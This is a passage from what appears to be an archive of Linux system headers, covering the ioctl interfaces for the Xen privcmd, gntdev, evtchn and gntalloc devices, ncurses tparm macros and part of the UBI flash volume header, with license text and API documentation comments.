tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d),TPARM_N(e),TPARM_N(f),TPARM_N(g),TPARM_N(h),TPARM_N(i),TPARM_N(j)) #if NCURSES_TPARM_VARARGS #define TPARM_8(a,b,c,d,e,f,g,h,i) tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d),TPARM_N(e),TPARM_N(f),TPARM_N(g),TPARM_N(h),TPARM_N(i)) #define TPARM_7(a,b,c,d,e,f,g,h) tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d),TPARM_N(e),TPARM_N(f),TPARM_N(g),TPARM_N(h)) #define TPARM_6(a,b,c,d,e,f,g) tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d),TPARM_N(e),TPARM_N(f),TPARM_N(g)) #define TPARM_5(a,b,c,d,e,f) tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d),TPARM_N(e),TPARM_N(f)) #define TPARM_4(a,b,c,d,e) tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d),TPARM_N(e)) #define TPARM_3(a,b,c,d) tparm(a,TPARM_N(b),TPARM_N(c),TPARM_N(d)) #define TPARM_2(a,b,c) tparm(a,TPARM_N(b),TPARM_N(c)) #define TPARM_1(a,b) tparm(a,TPARM_N(b)) #define TPARM_0(a) tparm(a) #else #define TPARM_8(a,b,c,d,e,f,g,h,i) TPARM_9(a,b,c,d,e,f,g,h,i,0) #define TPARM_7(a,b,c,d,e,f,g,h) TPARM_8(a,b,c,d,e,f,g,h,0) #define TPARM_6(a,b,c,d,e,f,g) TPARM_7(a,b,c,d,e,f,g,0) #define TPARM_5(a,b,c,d,e,f) TPARM_6(a,b,c,d,e,f,0) #define TPARM_4(a,b,c,d,e) TPARM_5(a,b,c,d,e,0) #define TPARM_3(a,b,c,d) TPARM_4(a,b,c,d,0) #define TPARM_2(a,b,c) TPARM_3(a,b,c,0) #define TPARM_1(a,b) TPARM_2(a,b,0) #define TPARM_1(a,b) TPARM_2(a,b,0) #define TPARM_0(a) TPARM_1(a,0) #endif #endif /* NC_TPARM_included */ xen/privcmd.h 0000644 00000010156 15246445047 0007171 0 ustar 00 /* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR MIT) */ /****************************************************************************** * privcmd.h * * Interface to /proc/xen/privcmd. * * Copyright (c) 2003-2005, K A Fraser * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation; or, when distributed * separately from the Linux kernel or incorporated into other * software packages, subject to the following license: * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this source file (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, modify, * merge, publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #ifndef __LINUX_PUBLIC_PRIVCMD_H__ #define __LINUX_PUBLIC_PRIVCMD_H__ #include <linux/types.h> #include <xen/interface/xen.h> struct privcmd_hypercall { __u64 op; __u64 arg[5]; }; struct privcmd_mmap_entry { __u64 va; /* * This should be a GFN. It's not possible to change the name because * it's exposed to the user-space. */ __u64 mfn; __u64 npages; }; struct privcmd_mmap { int num; domid_t dom; /* target domain */ struct privcmd_mmap_entry *entry; }; struct privcmd_mmapbatch { int num; /* number of pages to populate */ domid_t dom; /* target domain */ __u64 addr; /* virtual address */ xen_pfn_t *arr; /* array of mfns - or'd with PRIVCMD_MMAPBATCH_*_ERROR on err */ }; #define PRIVCMD_MMAPBATCH_MFN_ERROR 0xf0000000U #define PRIVCMD_MMAPBATCH_PAGED_ERROR 0x80000000U struct privcmd_mmapbatch_v2 { unsigned int num; /* number of pages to populate */ domid_t dom; /* target domain */ __u64 addr; /* virtual address */ const xen_pfn_t *arr; /* array of mfns */ int *err; /* array of error codes */ }; struct privcmd_dm_op_buf { void *uptr; size_t size; }; struct privcmd_dm_op { domid_t dom; __u16 num; const struct privcmd_dm_op_buf *ubufs; }; struct privcmd_mmap_resource { domid_t dom; __u32 type; __u32 id; __u32 idx; __u64 num; __u64 addr; }; /* * @cmd: IOCTL_PRIVCMD_HYPERCALL * @arg: &privcmd_hypercall_t * Return: Value returned from execution of the specified hypercall. * * @cmd: IOCTL_PRIVCMD_MMAPBATCH_V2 * @arg: &struct privcmd_mmapbatch_v2 * Return: 0 on success (i.e., arg->err contains valid error codes for * each frame). On an error other than a failed frame remap, -1 is * returned and errno is set to EINVAL, EFAULT etc. As an exception, * if the operation was otherwise successful but any frame failed with * -ENOENT, then -1 is returned and errno is set to ENOENT. */ #define IOCTL_PRIVCMD_HYPERCALL \ _IOC(_IOC_NONE, 'P', 0, sizeof(struct privcmd_hypercall)) #define IOCTL_PRIVCMD_MMAP \ _IOC(_IOC_NONE, 'P', 2, sizeof(struct privcmd_mmap)) #define IOCTL_PRIVCMD_MMAPBATCH \ _IOC(_IOC_NONE, 'P', 3, sizeof(struct privcmd_mmapbatch)) #define IOCTL_PRIVCMD_MMAPBATCH_V2 \ _IOC(_IOC_NONE, 'P', 4, sizeof(struct privcmd_mmapbatch_v2)) #define IOCTL_PRIVCMD_DM_OP \ _IOC(_IOC_NONE, 'P', 5, sizeof(struct privcmd_dm_op)) #define IOCTL_PRIVCMD_RESTRICT \ _IOC(_IOC_NONE, 'P', 6, sizeof(domid_t)) #define IOCTL_PRIVCMD_MMAP_RESOURCE \ _IOC(_IOC_NONE, 'P', 7, sizeof(struct privcmd_mmap_resource)) #endif /* __LINUX_PUBLIC_PRIVCMD_H__ */ xen/gntdev.h 0000644 00000016232 15246445047 0007015 0 ustar 00 /* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR MIT) */ /****************************************************************************** * gntdev.h * * Interface to /dev/xen/gntdev. * * Copyright (c) 2007, D G Murray * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation; or, when distributed * separately from the Linux kernel or incorporated into other * software packages, subject to the following license: * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this source file (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, modify, * merge, publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #ifndef __LINUX_PUBLIC_GNTDEV_H__ #define __LINUX_PUBLIC_GNTDEV_H__ #include <linux/types.h> struct ioctl_gntdev_grant_ref { /* The domain ID of the grant to be mapped. */ __u32 domid; /* The grant reference of the grant to be mapped. */ __u32 ref; }; /* * Inserts the grant references into the mapping table of an instance * of gntdev. N.B. This does not perform the mapping, which is deferred * until mmap() is called with @index as the offset. */ #define IOCTL_GNTDEV_MAP_GRANT_REF \ _IOC(_IOC_NONE, 'G', 0, sizeof(struct ioctl_gntdev_map_grant_ref)) struct ioctl_gntdev_map_grant_ref { /* IN parameters */ /* The number of grants to be mapped. */ __u32 count; __u32 pad; /* OUT parameters */ /* The offset to be used on a subsequent call to mmap(). */ __u64 index; /* Variable IN parameter. */ /* Array of grant references, of size @count. */ struct ioctl_gntdev_grant_ref refs[1]; }; /* * Removes the grant references from the mapping table of an instance of * of gntdev. N.B. munmap() must be called on the relevant virtual address(es) * before this ioctl is called, or an error will result. */ #define IOCTL_GNTDEV_UNMAP_GRANT_REF \ _IOC(_IOC_NONE, 'G', 1, sizeof(struct ioctl_gntdev_unmap_grant_ref)) struct ioctl_gntdev_unmap_grant_ref { /* IN parameters */ /* The offset was returned by the corresponding map operation. */ __u64 index; /* The number of pages to be unmapped. */ __u32 count; __u32 pad; }; /* * Returns the offset in the driver's address space that corresponds * to @vaddr. This can be used to perform a munmap(), followed by an * UNMAP_GRANT_REF ioctl, where no state about the offset is retained by * the caller. The number of pages that were allocated at the same time as * @vaddr is returned in @count. * * N.B. Where more than one page has been mapped into a contiguous range, the * supplied @vaddr must correspond to the start of the range; otherwise * an error will result. It is only possible to munmap() the entire * contiguously-allocated range at once, and not any subrange thereof. */ #define IOCTL_GNTDEV_GET_OFFSET_FOR_VADDR \ _IOC(_IOC_NONE, 'G', 2, sizeof(struct ioctl_gntdev_get_offset_for_vaddr)) struct ioctl_gntdev_get_offset_for_vaddr { /* IN parameters */ /* The virtual address of the first mapped page in a range. */ __u64 vaddr; /* OUT parameters */ /* The offset that was used in the initial mmap() operation. */ __u64 offset; /* The number of pages mapped in the VM area that begins at @vaddr. */ __u32 count; __u32 pad; }; /* * Sets the maximum number of grants that may mapped at once by this gntdev * instance. * * N.B. This must be called before any other ioctl is performed on the device. */ #define IOCTL_GNTDEV_SET_MAX_GRANTS \ _IOC(_IOC_NONE, 'G', 3, sizeof(struct ioctl_gntdev_set_max_grants)) struct ioctl_gntdev_set_max_grants { /* IN parameter */ /* The maximum number of grants that may be mapped at once. */ __u32 count; }; /* * Sets up an unmap notification within the page, so that the other side can do * cleanup if this side crashes. Required to implement cross-domain robust * mutexes or close notification on communication channels. * * Each mapped page only supports one notification; multiple calls referring to * the same page overwrite the previous notification. You must clear the * notification prior to the IOCTL_GNTALLOC_DEALLOC_GREF if you do not want it * to occur. */ #define IOCTL_GNTDEV_SET_UNMAP_NOTIFY \ _IOC(_IOC_NONE, 'G', 7, sizeof(struct ioctl_gntdev_unmap_notify)) struct ioctl_gntdev_unmap_notify { /* IN parameters */ /* Offset in the file descriptor for a byte within the page (same as * used in mmap). If using UNMAP_NOTIFY_CLEAR_BYTE, this is the byte to * be cleared. Otherwise, it can be any byte in the page whose * notification we are adjusting. */ __u64 index; /* Action(s) to take on unmap */ __u32 action; /* Event channel to notify */ __u32 event_channel_port; }; struct gntdev_grant_copy_segment { union { void *virt; struct { grant_ref_t ref; __u16 offset; domid_t domid; } foreign; } source, dest; __u16 len; __u16 flags; /* GNTCOPY_* */ __s16 status; /* GNTST_* */ }; /* * Copy between grant references and local buffers. * * The copy is split into @count @segments, each of which can copy * to/from one grant reference. * * Each segment is similar to struct gnttab_copy in the hypervisor ABI * except the local buffer is specified using a virtual address * (instead of a GFN and offset). * * The local buffer may cross a Xen page boundary -- the driver will * split segments into multiple ops if required. * * Returns 0 if all segments have been processed and @status in each * segment is valid. Note that one or more segments may have failed * (status != GNTST_okay). * * If the driver had to split a segment into two or more ops, @status * includes the status of the first failed op for that segment (or * GNTST_okay if all ops were successful). * * If -1 is returned, the status of all segments is undefined. * * EINVAL: A segment has local buffers for both source and * destination. * EINVAL: A segment crosses the boundary of a foreign page. * EFAULT: A segment's local buffer is not accessible. */ #define IOCTL_GNTDEV_GRANT_COPY \ _IOC(_IOC_NONE, 'G', 8, sizeof(struct ioctl_gntdev_grant_copy)) struct ioctl_gntdev_grant_copy { unsigned int count; struct gntdev_grant_copy_segment *segments; }; /* Clear (set to zero) the byte specified by index */ #define UNMAP_NOTIFY_CLEAR_BYTE 0x1 /* Send an interrupt on the indicated event channel */ #define UNMAP_NOTIFY_SEND_EVENT 0x2 #endif /* __LINUX_PUBLIC_GNTDEV_H__ */ xen/evtchn.h 0000644 00000006741 15246445047 0007021 0 ustar 00 /* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR MIT) */ /****************************************************************************** * evtchn.h * * Interface to /dev/xen/evtchn. * * Copyright (c) 2003-2005, K A Fraser * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation; or, when distributed * separately from the Linux kernel or incorporated into other * software packages, subject to the following license: * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this source file (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, modify, * merge, publish, distribute, sublicense, and/or sell copies of the Software, * and to permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #ifndef __LINUX_PUBLIC_EVTCHN_H__ #define __LINUX_PUBLIC_EVTCHN_H__ /* * Bind a fresh port to VIRQ @virq. * Return allocated port. */ #define IOCTL_EVTCHN_BIND_VIRQ \ _IOC(_IOC_NONE, 'E', 0, sizeof(struct ioctl_evtchn_bind_virq)) struct ioctl_evtchn_bind_virq { unsigned int virq; }; /* * Bind a fresh port to remote <@remote_domain, @remote_port>. * Return allocated port. */ #define IOCTL_EVTCHN_BIND_INTERDOMAIN \ _IOC(_IOC_NONE, 'E', 1, sizeof(struct ioctl_evtchn_bind_interdomain)) struct ioctl_evtchn_bind_interdomain { unsigned int remote_domain, remote_port; }; /* * Allocate a fresh port for binding to @remote_domain. * Return allocated port. */ #define IOCTL_EVTCHN_BIND_UNBOUND_PORT \ _IOC(_IOC_NONE, 'E', 2, sizeof(struct ioctl_evtchn_bind_unbound_port)) struct ioctl_evtchn_bind_unbound_port { unsigned int remote_domain; }; /* * Unbind previously allocated @port. */ #define IOCTL_EVTCHN_UNBIND \ _IOC(_IOC_NONE, 'E', 3, sizeof(struct ioctl_evtchn_unbind)) struct ioctl_evtchn_unbind { unsigned int port; }; /* * Unbind previously allocated @port. */ #define IOCTL_EVTCHN_NOTIFY \ _IOC(_IOC_NONE, 'E', 4, sizeof(struct ioctl_evtchn_notify)) struct ioctl_evtchn_notify { unsigned int port; }; /* Clear and reinitialise the event buffer. Clear error condition. */ #define IOCTL_EVTCHN_RESET \ _IOC(_IOC_NONE, 'E', 5, 0) /* * Restrict this file descriptor so that it can only be used to bind * new interdomain events from one domain. * * Once a file descriptor has been restricted it cannot be * de-restricted, and must be closed and re-opened. Event channels * which were bound before restricting remain bound afterwards, and * can be notified as usual. */ #define IOCTL_EVTCHN_RESTRICT_DOMID \ _IOC(_IOC_NONE, 'E', 6, sizeof(struct ioctl_evtchn_restrict_domid)) struct ioctl_evtchn_restrict_domid { domid_t domid; }; #endif /* __LINUX_PUBLIC_EVTCHN_H__ */ xen/gntalloc.h 0000644 00000005073 15246445047 0007332 0 ustar 00 /****************************************************************************** * gntalloc.h * * Interface to /dev/xen/gntalloc. * * Author: Daniel De Graaf <dgdegra@tycho.nsa.gov> * * This file is in the public domain. */ #ifndef __LINUX_PUBLIC_GNTALLOC_H__ #define __LINUX_PUBLIC_GNTALLOC_H__ #include <linux/types.h> /* * Allocates a new page and creates a new grant reference. */ #define IOCTL_GNTALLOC_ALLOC_GREF \ _IOC(_IOC_NONE, 'G', 5, sizeof(struct ioctl_gntalloc_alloc_gref)) struct ioctl_gntalloc_alloc_gref { /* IN parameters */ /* The ID of the domain to be given access to the grants. */ __u16 domid; /* Flags for this mapping */ __u16 flags; /* Number of pages to map */ __u32 count; /* OUT parameters */ /* The offset to be used on a subsequent call to mmap(). */ __u64 index; /* The grant references of the newly created grant, one per page */ /* Variable size, depending on count */ __u32 gref_ids[1]; }; #define GNTALLOC_FLAG_WRITABLE 1 /* * Deallocates the grant reference, allowing the associated page to be freed if * no other domains are using it. */ #define IOCTL_GNTALLOC_DEALLOC_GREF \ _IOC(_IOC_NONE, 'G', 6, sizeof(struct ioctl_gntalloc_dealloc_gref)) struct ioctl_gntalloc_dealloc_gref { /* IN parameters */ /* The offset returned in the map operation */ __u64 index; /* Number of references to unmap */ __u32 count; }; /* * Sets up an unmap notification within the page, so that the other side can do * cleanup if this side crashes. Required to implement cross-domain robust * mutexes or close notification on communication channels. * * Each mapped page only supports one notification; multiple calls referring to * the same page overwrite the previous notification. You must clear the * notification prior to the IOCTL_GNTALLOC_DEALLOC_GREF if you do not want it * to occur. */ #define IOCTL_GNTALLOC_SET_UNMAP_NOTIFY \ _IOC(_IOC_NONE, 'G', 7, sizeof(struct ioctl_gntalloc_unmap_notify)) struct ioctl_gntalloc_unmap_notify { /* IN parameters */ /* Offset in the file descriptor for a byte within the page (same as * used in mmap). If using UNMAP_NOTIFY_CLEAR_BYTE, this is the byte to * be cleared. Otherwise, it can be any byte in the page whose * notification we are adjusting. */ __u64 index; /* Action(s) to take on unmap */ __u32 action; /* Event channel to notify */ __u32 event_channel_port; }; /* Clear (set to zero) the byte specified by index */ #define UNMAP_NOTIFY_CLEAR_BYTE 0x1 /* Send an interrupt on the indicated event channel */ #define UNMAP_NOTIFY_SEND_EVENT 0x2 #endif /* __LINUX_PUBLIC_GNTALLOC_H__ */ mtd/ubi-user.h 0000644 00000042412 15246445047 0007252 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * Copyright © International Business Machines Corp., 2006 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See * the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Author: Artem Bityutskiy (Битюцкий Артём) */ #ifndef __UBI_USER_H__ #define __UBI_USER_H__ #include <linux/types.h> /* * UBI device creation (the same as MTD device attachment) * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * MTD devices may be attached using %UBI_IOCATT ioctl command of the UBI * control device. The caller has to properly fill and pass * &struct ubi_attach_req object - UBI will attach the MTD device specified in * the request and return the newly created UBI device number as the ioctl * return value. * * UBI device deletion (the same as MTD device detachment) * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * An UBI device maybe deleted with %UBI_IOCDET ioctl command of the UBI * control device. * * UBI volume creation * ~~~~~~~~~~~~~~~~~~~ * * UBI volumes are created via the %UBI_IOCMKVOL ioctl command of UBI character * device. A &struct ubi_mkvol_req object has to be properly filled and a * pointer to it has to be passed to the ioctl. * * UBI volume deletion * ~~~~~~~~~~~~~~~~~~~ * * To delete a volume, the %UBI_IOCRMVOL ioctl command of the UBI character * device should be used. A pointer to the 32-bit volume ID hast to be passed * to the ioctl. * * UBI volume re-size * ~~~~~~~~~~~~~~~~~~ * * To re-size a volume, the %UBI_IOCRSVOL ioctl command of the UBI character * device should be used. A &struct ubi_rsvol_req object has to be properly * filled and a pointer to it has to be passed to the ioctl. * * UBI volumes re-name * ~~~~~~~~~~~~~~~~~~~ * * To re-name several volumes atomically at one go, the %UBI_IOCRNVOL command * of the UBI character device should be used. A &struct ubi_rnvol_req object * has to be properly filled and a pointer to it has to be passed to the ioctl. * * UBI volume update * ~~~~~~~~~~~~~~~~~ * * Volume update should be done via the %UBI_IOCVOLUP ioctl command of the * corresponding UBI volume character device. A pointer to a 64-bit update * size should be passed to the ioctl. After this, UBI expects user to write * this number of bytes to the volume character device. The update is finished * when the claimed number of bytes is passed. So, the volume update sequence * is something like: * * fd = open("/dev/my_volume"); * ioctl(fd, UBI_IOCVOLUP, &image_size); * write(fd, buf, image_size); * close(fd); * * Logical eraseblock erase * ~~~~~~~~~~~~~~~~~~~~~~~~ * * To erase a logical eraseblock, the %UBI_IOCEBER ioctl command of the * corresponding UBI volume character device should be used. This command * unmaps the requested logical eraseblock, makes sure the corresponding * physical eraseblock is successfully erased, and returns. * * Atomic logical eraseblock change * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * Atomic logical eraseblock change operation is called using the %UBI_IOCEBCH * ioctl command of the corresponding UBI volume character device. A pointer to * a &struct ubi_leb_change_req object has to be passed to the ioctl. Then the * user is expected to write the requested amount of bytes (similarly to what * should be done in case of the "volume update" ioctl). * * Logical eraseblock map * ~~~~~~~~~~~~~~~~~~~~~ * * To map a logical eraseblock to a physical eraseblock, the %UBI_IOCEBMAP * ioctl command should be used. A pointer to a &struct ubi_map_req object is * expected to be passed. The ioctl maps the requested logical eraseblock to * a physical eraseblock and returns. Only non-mapped logical eraseblocks can * be mapped. If the logical eraseblock specified in the request is already * mapped to a physical eraseblock, the ioctl fails and returns error. * * Logical eraseblock unmap * ~~~~~~~~~~~~~~~~~~~~~~~~ * * To unmap a logical eraseblock to a physical eraseblock, the %UBI_IOCEBUNMAP * ioctl command should be used. The ioctl unmaps the logical eraseblocks, * schedules corresponding physical eraseblock for erasure, and returns. Unlike * the "LEB erase" command, it does not wait for the physical eraseblock being * erased. Note, the side effect of this is that if an unclean reboot happens * after the unmap ioctl returns, you may find the LEB mapped again to the same * physical eraseblock after the UBI is run again. * * Check if logical eraseblock is mapped * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * To check if a logical eraseblock is mapped to a physical eraseblock, the * %UBI_IOCEBISMAP ioctl command should be used. It returns %0 if the LEB is * not mapped, and %1 if it is mapped. * * Set an UBI volume property * ~~~~~~~~~~~~~~~~~~~~~~~~~ * * To set an UBI volume property the %UBI_IOCSETPROP ioctl command should be * used. A pointer to a &struct ubi_set_vol_prop_req object is expected to be * passed. The object describes which property should be set, and to which value * it should be set. * * Block devices on UBI volumes * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * * To create a R/O block device on top of an UBI volume the %UBI_IOCVOLCRBLK * should be used. A pointer to a &struct ubi_blkcreate_req object is expected * to be passed, which is not used and reserved for future usage. * * Conversely, to remove a block device the %UBI_IOCVOLRMBLK should be used, * which takes no arguments. */ /* * When a new UBI volume or UBI device is created, users may either specify the * volume/device number they want to create or to let UBI automatically assign * the number using these constants. */ #define UBI_VOL_NUM_AUTO (-1) #define UBI_DEV_NUM_AUTO (-1) /* Maximum volume name length */ #define UBI_MAX_VOLUME_NAME 127 /* ioctl commands of UBI character devices */ #define UBI_IOC_MAGIC 'o' /* Create an UBI volume */ #define UBI_IOCMKVOL _IOW(UBI_IOC_MAGIC, 0, struct ubi_mkvol_req) /* Remove an UBI volume */ #define UBI_IOCRMVOL _IOW(UBI_IOC_MAGIC, 1, __s32) /* Re-size an UBI volume */ #define UBI_IOCRSVOL _IOW(UBI_IOC_MAGIC, 2, struct ubi_rsvol_req) /* Re-name volumes */ #define UBI_IOCRNVOL _IOW(UBI_IOC_MAGIC, 3, struct ubi_rnvol_req) /* ioctl commands of the UBI control character device */ #define UBI_CTRL_IOC_MAGIC 'o' /* Attach an MTD device */ #define UBI_IOCATT _IOW(UBI_CTRL_IOC_MAGIC, 64, struct ubi_attach_req) /* Detach an MTD device */ #define UBI_IOCDET _IOW(UBI_CTRL_IOC_MAGIC, 65, __s32) /* ioctl commands of UBI volume character devices */ #define UBI_VOL_IOC_MAGIC 'O' /* Start UBI volume update * Note: This actually takes a pointer (__s64*), but we can't change * that without breaking the ABI on 32bit systems */ #define UBI_IOCVOLUP _IOW(UBI_VOL_IOC_MAGIC, 0, __s64) /* LEB erasure command, used for debugging, disabled by default */ #define UBI_IOCEBER _IOW(UBI_VOL_IOC_MAGIC, 1, __s32) /* Atomic LEB change command */ #define UBI_IOCEBCH _IOW(UBI_VOL_IOC_MAGIC, 2, __s32) /* Map LEB command */ #define UBI_IOCEBMAP _IOW(UBI_VOL_IOC_MAGIC, 3, struct ubi_map_req) /* Unmap LEB command */ #define UBI_IOCEBUNMAP _IOW(UBI_VOL_IOC_MAGIC, 4, __s32) /* Check if LEB is mapped command */ #define UBI_IOCEBISMAP _IOR(UBI_VOL_IOC_MAGIC, 5, __s32) /* Set an UBI volume property */ #define UBI_IOCSETVOLPROP _IOW(UBI_VOL_IOC_MAGIC, 6, \ struct ubi_set_vol_prop_req) /* Create a R/O block device on top of an UBI volume */ #define UBI_IOCVOLCRBLK _IOW(UBI_VOL_IOC_MAGIC, 7, struct ubi_blkcreate_req) /* Remove the R/O block device */ #define UBI_IOCVOLRMBLK _IO(UBI_VOL_IOC_MAGIC, 8) /* Maximum MTD device name length supported by UBI */ #define MAX_UBI_MTD_NAME_LEN 127 /* Maximum amount of UBI volumes that can be re-named at one go */ #define UBI_MAX_RNVOL 32 /* * UBI volume type constants. * * @UBI_DYNAMIC_VOLUME: dynamic volume * @UBI_STATIC_VOLUME: static volume */ enum { UBI_DYNAMIC_VOLUME = 3, UBI_STATIC_VOLUME = 4, }; /* * UBI set volume property ioctl constants. * * @UBI_VOL_PROP_DIRECT_WRITE: allow (any non-zero value) or disallow (value 0) * user to directly write and erase individual * eraseblocks on dynamic volumes */ enum { UBI_VOL_PROP_DIRECT_WRITE = 1, }; /** * struct ubi_attach_req - attach MTD device request. * @ubi_num: UBI device number to create * @mtd_num: MTD device number to attach * @vid_hdr_offset: VID header offset (use defaults if %0) * @max_beb_per1024: maximum expected number of bad PEB per 1024 PEBs * @padding: reserved for future, not used, has to be zeroed * * This data structure is used to specify MTD device UBI has to attach and the * parameters it has to use. The number which should be assigned to the new UBI * device is passed in @ubi_num. UBI may automatically assign the number if * @UBI_DEV_NUM_AUTO is passed. In this case, the device number is returned in * @ubi_num. * * Most applications should pass %0 in @vid_hdr_offset to make UBI use default * offset of the VID header within physical eraseblocks. The default offset is * the next min. I/O unit after the EC header. For example, it will be offset * 512 in case of a 512 bytes page NAND flash with no sub-page support. Or * it will be 512 in case of a 2KiB page NAND flash with 4 512-byte sub-pages. * * But in rare cases, if this optimizes things, the VID header may be placed to * a different offset. For example, the boot-loader might do things faster if * the VID header sits at the end of the first 2KiB NAND page with 4 sub-pages. * As the boot-loader would not normally need to read EC headers (unless it * needs UBI in RW mode), it might be faster to calculate ECC. This is weird * example, but it real-life example. So, in this example, @vid_hdr_offer would * be 2KiB-64 bytes = 1984. Note, that this position is not even 512-bytes * aligned, which is OK, as UBI is clever enough to realize this is 4th * sub-page of the first page and add needed padding. * * The @max_beb_per1024 is the maximum amount of bad PEBs UBI expects on the * UBI device per 1024 eraseblocks. This value is often given in an other form * in the NAND datasheet (min NVB i.e. minimal number of valid blocks). The * maximum expected bad eraseblocks per 1024 is then: * 1024 * (1 - MinNVB / MaxNVB) * Which gives 20 for most NAND devices. This limit is used in order to derive * amount of eraseblock UBI reserves for handling new bad blocks. If the device * has more bad eraseblocks than this limit, UBI does not reserve any physical * eraseblocks for new bad eraseblocks, but attempts to use available * eraseblocks (if any). The accepted range is 0-768. If 0 is given, the * default kernel value of %CONFIG_MTD_UBI_BEB_LIMIT will be used. */ struct ubi_attach_req { __s32 ubi_num; __s32 mtd_num; __s32 vid_hdr_offset; __s16 max_beb_per1024; __s8 padding[10]; }; /** * struct ubi_mkvol_req - volume description data structure used in * volume creation requests. * @vol_id: volume number * @alignment: volume alignment * @bytes: volume size in bytes * @vol_type: volume type (%UBI_DYNAMIC_VOLUME or %UBI_STATIC_VOLUME) * @padding1: reserved for future, not used, has to be zeroed * @name_len: volume name length * @padding2: reserved for future, not used, has to be zeroed * @name: volume name * * This structure is used by user-space programs when creating new volumes. The * @used_bytes field is only necessary when creating static volumes. * * The @alignment field specifies the required alignment of the volume logical * eraseblock. This means, that the size of logical eraseblocks will be aligned * to this number, i.e., * (UBI device logical eraseblock size) mod (@alignment) = 0. * * To put it differently, the logical eraseblock of this volume may be slightly * shortened in order to make it properly aligned. The alignment has to be * multiple of the flash minimal input/output unit, or %1 to utilize the entire * available space of logical eraseblocks. * * The @alignment field may be useful, for example, when one wants to maintain * a block device on top of an UBI volume. In this case, it is desirable to fit * an integer number of blocks in logical eraseblocks of this UBI volume. With * alignment it is possible to update this volume using plane UBI volume image * BLOBs, without caring about how to properly align them. */ struct ubi_mkvol_req { __s32 vol_id; __s32 alignment; __s64 bytes; __s8 vol_type; __s8 padding1; __s16 name_len; __s8 padding2[4]; char name[UBI_MAX_VOLUME_NAME + 1]; } __attribute__((packed)); /** * struct ubi_rsvol_req - a data structure used in volume re-size requests. * @vol_id: ID of the volume to re-size * @bytes: new size of the volume in bytes * * Re-sizing is possible for both dynamic and static volumes. But while dynamic * volumes may be re-sized arbitrarily, static volumes cannot be made to be * smaller than the number of bytes they bear. To arbitrarily shrink a static * volume, it must be wiped out first (by means of volume update operation with * zero number of bytes). */ struct ubi_rsvol_req { 